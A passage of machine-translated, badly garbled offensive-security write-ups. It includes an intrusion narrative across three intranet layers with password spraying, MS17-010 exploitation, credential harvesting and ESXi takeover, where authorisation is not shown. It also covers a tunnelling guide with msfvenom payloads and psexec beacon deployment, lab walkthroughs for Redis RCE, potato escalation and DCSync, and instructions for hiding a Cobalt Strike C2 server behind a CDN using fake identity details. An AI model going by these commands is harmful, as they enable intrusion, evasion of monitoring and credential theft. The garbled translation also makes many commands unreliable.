そして、私は靴下を通して直接接続することはできません。これは制限のように感じられます。後で、MSTSC /管理者を使用することでログインすることができることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、私は92このマシンをスプリングボードとして使用して、71デスクトップにリモートでログインしました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】管理者のデスクトップがクローン化されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、以前に追加されたアカウントにログインして、リモートデスクトップに移動します。管理者のデスクトップです:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】一連の情報収集とパスワードコレクションを通じて、MSSQLおよびすべてのサイドステーションの許可を取得しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】収集されたパスワードを介して、セグメントCのパスワードを正常にスプレーし続けます。 MSSQL:xxx.xxx.xxx.239

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

次に、コマンドを実行するためにXP_CMDSHELLに直接電話して、許可がまだ非常に大きいことがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

次に、bitsadminを使用してオンラインでCSに行きます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、これら3つのマシンの許可:16、92、および239は取得されましたが、イントラネットはまだ発見されておらず、この時点でボトルネックに巻き込まれました。

この点に到達した後、私は水平に移動することは不可能であることがわかりました。他のウェブをヒットするために0日を使用したくありません。私は振り向いてMS17010を使用して200人をヒットしました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、同様に、シェルがCSにポップされ、ユーザーが追加され、リモートデスクトップグループが追加されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、ログインはログインが失敗したことを発見しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、MSTSC/管理者はバイパスし、ターゲットリモートデスクトップに正常にログインできます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

管理者のデスクトップは同じようにクローン化されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 MSTSCログインレコードなど、多くの貴重なものを見つけました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 NAVICATデータベース資格情報を取得します。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】とXshellには多くのSSHがあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

すべてのLinuxホストをログインできます。この時点で、SharpDecryptPWDを使用してパスワードを取得するだけですが、問題が見つかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】このことを使用してパスワードを後で確認する:(これらのものを使用したくなかったので、パスワードを1つずつチェックするのは面倒すぎます)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

10個のイントラネットを備えたマシンがいくつかあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

既存のパスワードを使用して、LinuxホストをセグメントCで水平にスプレーします。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、いくつかのシェルをMSFにポップしました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】これまでのところ、このパブリックネットワークのCセグメントは基本的に浸透しており、多数のコアデータベース、スイッチ、およびWebサーバーが削除されています。次のステップは、10個のイントラネットのイントラネット浸透です。

イントラネットイントラネット10セグメントの2番目の層からのイントラネット浸透

ルートパスワードを取得したため、10.10.10.1/16のBセクションを直接スキャンしました。資産の大きな波があります。ここではスクリーンショットを撮りません。それらは何百もあり、私はesxiがあることを発見しました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

アクセス制御システムを取得しました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】は、特別な手段で水平に10個のセグメントの2つのSSHを倒し、イントラネットの3番目の層は192のセグメントとDocker環境であることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

10セグメントにESXIがあるため、脆弱性を直接使用してESXIクラウドプラットフォームを取得し、すべてのマシンが非難されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、10番目のセクションは基本的に侵入されており、次のステップは192のイントラネットに浸透することです。

イントラネットセグメントの3番目の層からのイントラネット浸透192

通常のFSCANを介して192段落をスキャンしただけで、192の資産も非常に脂肪であることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

その後、MS17010の2つの脆弱性が見つかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

今、私たちは関係を整理しました、そして、現在の環境は次のとおりです。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

元のリンク:https://MP.Weixin.QQ.com/s?__biz=mzkxndewmda4mw==mid=2247491421Idx=1Sn=769D715D057112EB4EE1EBB8312E37KKSM241F6051F6055 83F946625F2689EC6214E9D47A61C6639999D2CD2A62C0DE464CENE=123KEY=F3D 6282F44B990E0F2527AF4DB8E088F25F3E43D0ABAF5F845FF52E14965E4FE188C890

序文

イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。

この記事の内容は、次のマインドマップに従って拡張されています

1049983-20230224142532264-1745740093.png

ターゲットアウトバウンド(ソックスプロキシ)

これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。

frp(socks5)

FRPサーバー構成ファイル

[共通] bind_port=8080

FRPクライアント構成ファイル

[common] server_addr=xx.xx.xx.xxserver_port=8080#serviceポート共通Webポート[socks5]タイプ=tcpremote_port=8088plugin=socks5use_encrypting=trueuse_compression=true#socks5 password#pluginer=superman#plagin_passwdwd=xpasswdwdwdnj3

暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。

use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]

use_compression=True Enable Compression [圧縮のコンテンツを送信し、送信されたネットワークトラフィックを効果的に削減し、トラフィック転送を高速化しますが、追加のCPUリソースを消費します]

use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。

FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連フォルダーに配置され、隠蔽を確保する

1049983-20230224142533345-25461972.png

Setg Proxies Socks5:xxx.xxx.xxx.xxx.xxx33608088

1049983-20230224142534352-1447532887.png

1049983-20230224142535339-171170652.png

暗号化圧縮の比較

これは、暗号化と圧縮機能を使用しないFRPクライアント構成ファイルです。メタプロイトはソックスプロキシを使用して、MS17_010で送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。

1049983-20230224142537124-265593420.png

暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を回避して、送信されたデータパケットを区別することはできません。

1049983-20230224142538872-1038217254.png

コバルトストライク(socks4a)

制御されたターゲットマシンのビーコンに移動して、ソックスエージェントを有効にします

ビーコンソックス1024 #portは、VPS 1049983-20230224142540260-1761613912.pngの実際の状況に従って設定されています

メニューバーでプロキシピボットを表示したり、コピープロキシをMetasploitに接続するか、関連するセキュリティツールにSocks4aを直接ハングします。

1049983-20230224142541215-1251437351.png

オンラインマシンなし

これはリンクリンクです。メインリンク(ビーコン)が切断されている限り、それらはすべて切断されます!

smbビーコン

SMBビーコンの公式紹介:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用します。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。

SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。

(listnerでSMBを作成し、右クリックしてスポーンとして、対応するリスナーを選択してオンラインに移動します)

1049983-20230224142542278-180468149.png

操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。

1049983-20230224142543098-1226011871.png

1049983-20230224142544024-1697757212.png

リンクホストリンクで切断したり、メインビーコンのホストを解除したりすることができます。

ビーコンリンク192.168.144.155Beacon Unlink 192.168.144.155

1049983-20230224142544793-801332852.png

リンクリスナー

オンラインホストでリスナーを作成します。

1049983-20230224142545857-1740604679.png

このタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。

1049983-20230224142546752-1507421909.png

作成したばかりのリスナーを選択します。

1049983-20230224142547847-1044211816.png

現在オンラインのターゲットマシンに生成されたばかりの有料ロードをアップロードし、ここでpsexec.exeツールを使用します。 (Cobalstrike自体にはPSEXEC機能が十分に強力ではありません)

1049983-20230224142549243-84796711.png

ビーコンのPSEXECツールを使用して、ネットワークを離れないターゲットマシンにペイロードをアップロードし、自動的に実行し、オンラインになります。

ビーコンシェルC: \ Windows \ Temp \ psexec.exe -Accepteula \\ 192.168.144.155,192.168.144.196 -U管理者@123 -d -C C: \ Windows \ Temp \ Beacon.exe 1049983-20230224142550123-1684873727.png

ビーコンシェルネットスタット-ANO | FindSTR 4444 1049983-20230224142551200-270034115.png

sshログイン

ビーコンSSH 192.168.144.174:22ルート管理者SSH 192.168.144.203:22ルート管理1049983-20230224142552831-1968669971.png

Linuxターゲットマシンのネットワーク接続ステータスを確認することは、実際には以前に起動したWindowsホストに確立された接続です。

1049983-20230224142553943-548434050.png

ターゲットはネットワークから出ない(HTTPプロキシ)

ターゲットマシンネットワークには、ファイアウォール、ネットワークゲートなどがある場合があります。これは、HTTP一元配電のみを許可し、通常はインターネットにアクセスできません。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。

regeorg(socks5)

Python regeorgsocksproxy.py -u 3http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -P 10080 1049983-20230224142555256-361722001.png

Metasploitを使用してRegeorg Socks Proxyをハングアップし、MS17_010から送信されたデータパケットをスキャンして、攻撃動作を明確に識別できます。

1049983-20230224142556497-189470924.png

neo-regeorg(暗号化)

python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -U http://192.168.144.211/neo -tunnel.aspx neo -regeorgを使用した後、パケットは覆われ、送信されました。

1049983-20230224142557625-1253582995.png

1049983-20230224142559130-1424827852.png

Ice Scorpion(Open Socks5)

Ice Scorpionのパケット送信は暗号化されており、Socks Proxyの機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。

アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。

1049983-20230224142600344-1412889751.png

reduh(シングルポート転送)

Reduh使用法:https://Blog.csdn.net/nzjdsds/article/details/82930774

ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低く、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。

1049983-20230224142601591-2079437689.png

ここで例として、Reduhを取り上げてください。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。

以下の特定のプロセスを見てみましょう。

sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o -o x86shell.exe# - プラットフォームプラットフォームプラットフォームプラットフォームプラットフォーム#-e、-ecoderエンコーダーのターゲットプラットフォームを指定します。1049983-20230224142602934-1200891124.png

ペイロードをターゲットサーバーにアップロードして実行します。

1049983-20230224142603965-416795358.png

Metasploitは、転送を聞いた後のアドレスとポートです。

sudo msfconsole -qmsf5の使用exploit/multi/handlermsf5 exploit(multi/handler)setpayload windows/shell_bind_tcpmsf5 exploit(multi/handler)setrhost 127.0.0.0.1msf5 exploit(multi/handler)setlport 5353msf5 exploit(multi/handler)setlport

1049983-20230224142604758-483591403.png

Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspxtelnet 127.0.0.1 1010 [CreateTunnel] 53533:127.0.0.1:53 1049983-20230224142605953-743617388.png

Metasploitに浸透するか、Socks4aをオンにし、他のセキュリティツールをマウントして浸透を継続することができます。

MSF5 Exploit(Multi/Handler)auxiliary/server/socks4amsf5 auxiliary(server/socks4a)setsrvport 10080msf5 Auxiliary(server/socks4a)run -J 1049983-20230224142606896-1778899880.png run -j 1049983-20230224142606896-1778899880.png

知らせ

なぜペイロードはメータープレターの代わりにシェルを使用するのですか? MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!

1049983-20230224142608228-1078214678.png

分離ネットワーク(マルチレベルエージェント)

イントラネットの浸透では、孤立したネットワークがあり、しばしば論理的に分離されています。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。

frp

デュアルネットワークカードイントラネットサーバーの許可を取得し、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。

(詳細については、https://www.cnblogs.com/panda-mosen/p/13096260.htmlを参照してください)

1049983-20230224142609583-1740371388.png

proxifier

FRPで設立が行われた後、外部ネットワークソックスと内部ネットワークソックの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)

1049983-20230224142610421-647772374.png

プロキシルールを設定し、対応するプロキシを選択します。

1049983-20230224142611293-383878925.png

第2層エージェントが成功し、イントラネットアイソレータ445の検出が開かれました。

1049983-20230224142612056-496052384.png

proxychains

コマンドラインプロキシアーティファクトプロキシチャイン、2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)

1049983-20230224142612925-438785037.png

Linked Metasploit、MS17_010検出、プロキシチェーンの伝送プロセスを見ることができます。

1049983-20230224142613833-2089296271.png

Metasploitを利用するために、セッションのルートにアクセスできる限り、多層ネットワークの浸透を直接実行でき、より便利です。しかし、メインセッションはドロップされ、それらはすべて削除されます!

ターゲットのセッションを取得した後、IPセグメント情報を表示して、ルーティングテーブルを自動的に追加できます。

MSF5 Exploit(Multi/Handler)セッション1MeterPreter run get_local_subnetsmeterpreter run autoroute -pmeterpreter run run run run run run run autoroute autoroute -pmeterpreterバックグラウンド1049983-20230224142614751-1941725556.png

上記はMeterPreterの許可に追加されます。または、ターゲットルーティングテーブル情報がわかっている場合は、直接追加できます。

MSF5エクスプロイト(マルチ/ハンドラー)ルート追加172.20.20.0/24 1 //セッションID 1MSF5エクスプロイト(マルチ/ハンドラー)ルート1049983-20230224142616334-533434405.png

Metasploitに浸透し続けるか、靴下をオンにして、他のツールを取り付けて複数の層に浸透することができます。

MSF5 Exploit(Multi/Handler)auxiliary/server/socks4amsf5 auxiliary(server/socks4a)setsrvport 1080msf5 Auxiliary(server/socks4a)run -j、およびopen/etc/proxychains.conf

1049983-20230224142617197-1581376007.png

オリジナルリンク:https://www.cnblogs.com/yokan/p/14057794.html

0x1情報

tag:

MSSQL、特権エスカレーション、Kerberos、ドメイン浸透、RDP image

範囲アドレス:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu

0x2 recon

ターゲット外部IP47.92.82.196nmap SA:1QAZ!QAZ image

0x3エントリポイントmssql -172.22.8.18

序文、このマシンはドメインMSSQLシェルに直接はありません(ここでスクリーンショットを撮るのを忘れていました.)

getClsid.ps1を変更し、実行ポテトimageを追加します

ジャガイモとgetclsid.ps1 image

getclsid.ps1 imageを実行します

有効なCLSIDおよびコマンド実行結果image Export SAM、System、Security imageを取得する

資格情報を解決し、管理者+ psexec 139を水平に使用して(外部ネットワークは445を開けません)flag01administrator 2CAF35BB4C5059A3D50599844E2B9B1F image550-69510に来るマシンを把握するためにポート接続image管理者PSEXECを使用してMSF(システム許可)、Incognitoモジュールを使用し、Johnをシミュレートします(MSFのIncognitoのみが後続の操作を完了することができるとテストしました。image \\ tsclient \ cの下の資格情報を直接取得し、ハイジャック画像をプロンプト(ミラーハイジャック)xiaorang.lab \ aldrich:ald@rlmwuy7z!#image cme scan scan scan scan scan scan scan scan skip the cme scan skip the cme scan skip the cme scan scanマシンは、パスワードの有効期限が切れていることを促します。imageテストDC01ポート88が有効であるかどうか(ドメイン制御がドメインコントロールであるかどうかをテスト)、DC01はドメインコントロールSMBPASSWD.py 111QQQQQをリモートで変更し、imageLDAPSHELL.PYAFIFACIAL、LOGIN DOMAN列挙RDPは、172.22.8.46をログインして入力できることを示しています(公式のCME RDPモジュールを使用して、有効なRDP資格情報をスキャンしません。XFreerDPに基づいてCMEモジュールを書きました)

Xiaolichan/CrackMapexec-Extension image

0x4ドメイン浸透 - 入り口-172.22.8.46

ログインと表示Xiaorang.lab \ aldrichはこのマシンの管理者ではなく、当局を増やすための普通のユーザーです。 2つの方法

PRIV-ESC1:ミラーハイジャックの標高(一般)

get-aclはレジストリ「HKLM: \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Imageファイルの実行オプション」に書き込み、操作imageを作成できます。

gmagify.exe(拡大ガラス)をハイジャックし、cmd.exeimageを実行するレジストリを作成します

ユーザーimageをロックします

拡大ガラスimageをクリックします

システムimageに権限を向上させます

PRIV-ESC2:Krbrelayupのエスカレーション

ドメイン通常の許可ユーザーは、ドメイン内のマシンを直接(型破り、推奨)

0x5ドメイン浸透-DCテイクオーバー

2つの方法Win2016 $のグループ関係を観察し、それがドメイン管理グループにあることを発見します。 DCSYNCを使用して、DC01を直接奪う(プロセスは省略)image制約委任(型破り)

Bloodhoundはドメイン情報を収集し、分析し、制約委任imageがあることを発見します

getSt.py imageを使用した制約付き委任攻撃

DC01 image

オリジナルリンク:https://www.freebuf.com/articles/system/352237.html

ツールの準備

外国人サーバー

無料クジラ(VPN)

CS 4.4

nginx

csサーバー構成

サーバーpingが無効になっています

1.サーバーPingが無効になっている場合、ホストが非アクティブであることを特定の観点から決定できます。

2。ファイル /etc /sysctl.confを編集し、それに行を追加します。 net.ipv4.icmp_echo_ignore_all=1

次に、ミッションコマンドSYSCTL -Pにより、構成が有効になります。

vim /etc/sysctl.conf

net.ipv4.icmp_echo_ignore_all=1

sysctl -p

1049983-20230227144827835-1460586883.jpg

3。その後、pingはpingできません。このようにして、NMAPはサーバーをスキャンして生き残ることができます。

1049983-20230227144828724-887380428.png

ポートを変更

1。TeamServerファイルを編集し、50050を検索し、任意のポートに変更すると、65000に変更されます

VIM TeamServer 1049983-20230227144829610-877637485.jpg

2。保存して終了し、TeamServerを開始し、ポートが変更されたことを確認します。

./TeamServer XX.XX.XX.XX Xiao

1049983-20230227144830703-410050090.jpg

デフォルトの証明書を変更

1。CSサーバーによって生成された証明書には、CSのすべての関連特性が含まれているため、ここに変更され、置き換えられます。それを変更するには2つの方法があります。つまり、キーストアを生成してスタートアップファイルを変更します。どちらに関係なく、元のファイルCobaltStrike.storeを削除する必要があります。

方法1キーストアファイルCobaltstrike.store(推奨)

を削除します

1。新しいキーストアファイルを生成します

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoreType PKCS12

1049983-20230227144831550-104496929.jpg

2。証明書を確認してください

keytool -list -keystore cobaltstrike.store 1049983-20230227144832343-1207281071.jpg3。サーバーを起動して、証明書の署名が同じかどうかを確認し、確認後も証明書署名が同じかどうかを確認します。

1049983-20230227144833138-1324654750.jpg

方法2スタートアップファイルを変更

1。TeamServerは、CSSサーバーを起動する起動ファイルです。キーストアの検出など、環境検出部分があります。このパートを書く方法は、キーストアを検出できない場合、コマンドを使用して新しいキーストアを生成し、ここで生成されたコマンドを変更することです。

2。TeamServerで囲まれた部品を変更する必要があります

1049983-20230227144834432-2038016818.jpg

3.次のコンテンツに変更します。

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

1049983-20230227144835487-2027217953.jpg

4.元の./cobaltstrike.store keystoreファイルを削除し、次に開始すると、新しいキーストアファイルが自動的に生成されます。

RM -RF CobaltStrike.store

cdn

で非表示にします

無料ドメイン名

を適用します

1。Freenom公式ウェブサイトを入力し、中国語を翻訳し、下部に引っ張り、開発者を選択します。

1049983-20230227144836612-1216181926.jpg

2。下部に引っ張り、今日クリックしてランダムドメインアカウントを取得します

1049983-20230227144837421-401393924.jpg

3.国際的なメールアドレスを入力し、[メールアドレスの確認]をクリックします。一時的なメールアドレスを使用することをお勧めします。

1049983-20230227144838184-1636008870.jpg

4。数秒後、メールが届きます。電子メールをクリックして、確認をクリックして、Freenom Webサイトにジャンプします。現在のWebページを翻訳した後、[開発者]をクリックします。

1049983-20230227144839006-1381884576.jpg

5.ウェブサイトを最後まで引っ張り、中国語を翻訳し、クリックしてランダムドメインアカウントをすぐに取得します。

1049983-20230227144839826-1580750123.jpg

6.次に、個人情報充填ページにご覧ください

1049983-20230227144840800-1795941883.png

7. IPで選択されたアドレスはフロリダであるため、フロリダの個人情報ジェネレーターと個人情報ジェネレーターを使用する必要があり、2つを組み合わせる必要があります。

1049983-20230227144841675-865336806.jpg 1049983-20230227144842587-547291091.jpg

8。ジェネレーターに従って情報を入力してください。記入した後、チェックしてクリックして注文を完了します。アカウントは正常に登録されています。

1049983-20230227144843337-1650934063.jpg 1049983-20230227144844087-253020840.jpg

9. Webサイトのホームページに戻り、ドメイン名を選択し、xxx.tkを入力し、[可用性]をクリックし、利用可能な場合はチェックアウトをクリックします。

1049983-20230227144844825-600153102.jpg

10. 12か月間の無料版を選択し、最後に[続行]をクリックします。

1049983-20230227144845602-1239189976.jpg

11。最終注文

1049983-20230227144846398-62631944.jpg 1049983-20230227144847138-956029880.jpg

12.ドメインを選択して、ドメイン名が生きていることを確認します。

1049983-20230227144847955-2046821606.jpg

1049983-20230227144848912-1360974677.jpg

CDN構成

1。実際、CDNパーツにはかなりのオプションがあります。ここでCloudFlareを選びました

2。CloudFlareにログインしたら、[サイトの追加]を選択します

1049983-20230227144849797-584795960.jpg

3.無料プランを選択します

1049983-20230227144850575-1858358753.jpg

4. DNSレコードを追加し、保護するIPとレコードを入力します。

1049983-20230227144851699-664827035.jpg

5. xxx.tkのDNSサーバーをCloudFlareに変更します。変更が完了した後、有効になるには一定の時間がかかります

1049983-20230227144852553-675923245.jpg 1049983-20230227144853458-201526483.jpg 1049983-20230227144854220-1629371275.jpg

6.自動HTTPSをオフにして書き直し、常にHTTPSとBroti圧縮を使用します

1049983-20230227144854987-1863074172.jpg

7. [完了]をクリックします

1049983-20230227144855745-1923565084.jpg

8.次のインターフェイスが表示され、設定が有効になります。 CloudFlareを使用して、ドメイン名の解像度操作を実行できます。

1049983-20230227144856530-714652068.jpg

9. www.xxx.tkを分析してテストします

1049983-20230227144857198-628058662.jpg

10。グローバルpingを使用して、CDNが正常に追加されたことがわかりました

1049983-20230227144858256-1387941751.jpg

11.完了するようにSSL/TLS暗号化モードを構成します

1049983-20230227144859102-1493880580.jpg

CloudFlareは証明書を生成します

1。SSL/TLS-Source Serverを見つけて、CloudFlareのDashページで証明書を作成し、それぞれパブリックキーとプライベートキー、つまりServer.PEMとServer.Keyをそれぞれ保存します。生成中に保存する必要があります。そうしないと、秘密鍵が見つからない場合があります。

1049983-20230227144859811-609125808.jpg

2。証明書を申請してキーストアをパッケージ化し、証明書をパッケージ化し、ストアファイルを生成します。

openSSL PKCS12 -EXPORT -IN SERVER.PEM -INKEY SERVER.KEY -OUT www.xxx.tk.p12 -Name www.xxx.tk -passout pass:123456

//keytoolを使用して、CS利用可能なストア形式で証明書ペアを生成します

keytool -imporekeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.tk.store -srckeystore www.xxx.tk.p12 -srcstoreType PKCS12 -SRCSTOREPOREPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASS

1049983-20230227144900727-1863377161.jpg

3。証明書をHTTPSリスニング方法に構成します。申請した証明書を使用する場合は、「可鍛性C2プロファイル」メソッドを使用して操作する必要があります。ここでは、cloudflare.profileを例として取ります。 CSディレクトリに生成されたキーfile.storeを配置し、cloudflare.profileを証明書構成に追加する必要があります。注意する必要があるのは、HTTPS-ティフィフィクションが証明書関連の構成であることです。他のclient.headerのホスト値は、適用したドメイン名である必要があり、他の部分は個人的な状況に従って構成する必要があります。

//上記のStore証明書をTeamServerディレクトリにコピーします

cp ./www.xxx.tk.store/opt/cs44/

//cloudflare.profileファイルを作成します

Vim CloudFlare.Profile

//cloudflare.profileファイルコンテンツ

https-certificate {

keystore 'www.xxx.tk.store'を設定します。

パスワード「123456」を設定します。

}

http-stager {

set uri_x86 '/api/1';

set uri_x64 '/api/2';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';}

サーバー{

出力{

印刷;

}

}

}

http-get {

set uri '/api/3';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

メタデータ{

base64;

ヘッダー「クッキー」;

}

}

サーバー{

出力{

印刷;

}

}

}

http-post {

set uri '/api/4';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

id {

uri-append;

}

出力{

印刷;

}

}

サーバー{

出力{

印刷;

}

}

} 4。構成ファイルに問題があることを確認してください。以下は、検証のための構成に成功しています(現在のディレクトリにはcobaltstrike.jarが必要です)

//新しいc2lintファイルを作成します

VIM C2LINT

//c2lintファイルコンテンツ

Java -xx:parallelgcthreads=4 -xx:+useparallelgc -classpath ./cobaltstrike.jar c2profile.lint $ 1

//構成ファイルに問題があるかどうかを確認します

./c2lint cloudflare.profile

命令

Brute4roadは、中程度の難易度のある射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

Redis、Brute Force、SMB、特権標高、ドメイン浸透

最初のフラグ

Redis Master-Slave Copy RCE

fscan入学IPをスキャンします。次の入学IPが変更された場合、それは再起動環境のために、プロセスに問題はありません。

1049983-20230307110358384-1535054715.png不正なレディスが見つかり、書き込み計画のリバウンドシェルがテストされました。許可がないことが促されました。 Redis Master-SlaveコピーRCEを正常にコピーします

1049983-20230307110359449-350645622.png

suidエスカレーション

ユーザーはRedisの権利を引き上げる必要があります。 SUIDを使用して権利を上げます。次のコマンドを実行できます。詳細については、suidを表示してLinuxシステムの権利を上げることができます1

/-user root -perm -4000 -print 2/dev/nullを見つけます

find/-perm -u=s -type f 2/dev/null

/-user root -perm -4000 -exec ls -ldb {}を見つける;1049983-20230307110400345-2096403480.pngBase64には、SUID許可があります。 Base64を介してローカルファイルを読み取り、最初のフラグを取得するために出力できます

base64 '/home/redis/flag/flag01' | base64 - デコード1049983-20230307110401155-925199797.png

2番目のフラグ

wpcargo不正rce

ポータルIPのサーバーにプロキシを設定し、イントラネットスキャンを実行し、wegetを介してNPCとFSCANをアップロードします

pingを開始します

(ICMP)ターゲット172.22.2.18は生きています

(ICMP)ターゲット172.22.2.34は生きています

(ICMP)ターゲット172.22.2.3は生きています

(ICMP)ターゲット172.22.2.7は生きています

(ICMP)ターゲット172.22.2.16は生きています

[*] ICMP Alive Hosts Len IS: 5

172.22.2.2.16:445オープン

172.22.2.2.34:445オープン

172.22.2.3:445オープン

172.22.2.2.183360445オープン

172.22.2.16:139オープン

172.22.2.34:139オープン

172.22.2.3:139オープン

172.22.2.34:135オープン

172.22.2.16:135オープン

172.22.2.18:139オープン

172.22.2.3:135オープン

172.22.2.16:80オープン

172.22.2.3:88オープン

172.22.2.2.18:22オープン

172.22.2.7:80オープン

172.22.2.7:22オープン

172.22.2.2.733606379オープン

172.22.2.16:1433オープン

172.22.2.7:21オープン

172.22.2.2.18:80オープン

[*] Alive Ports Len IS: 20

Vulscanを開始します

[+] NetInfo:

[*] 172.22.2.16

[ - ] mssqlserver

[ - ] 172.22.2.16

[*] 172.22.2.34 Xiaorang \ client01

[*] 172.22.2.16(Windows Server 2016 Datacenter 14393)

[+] NetInfo:

[*] 172.22.2.3

[ - ] DC

[ - ] 172.22.2.3

[*] webtitle:3333http://172.22.2.16 code:404 len:315 title:notが見つかりました

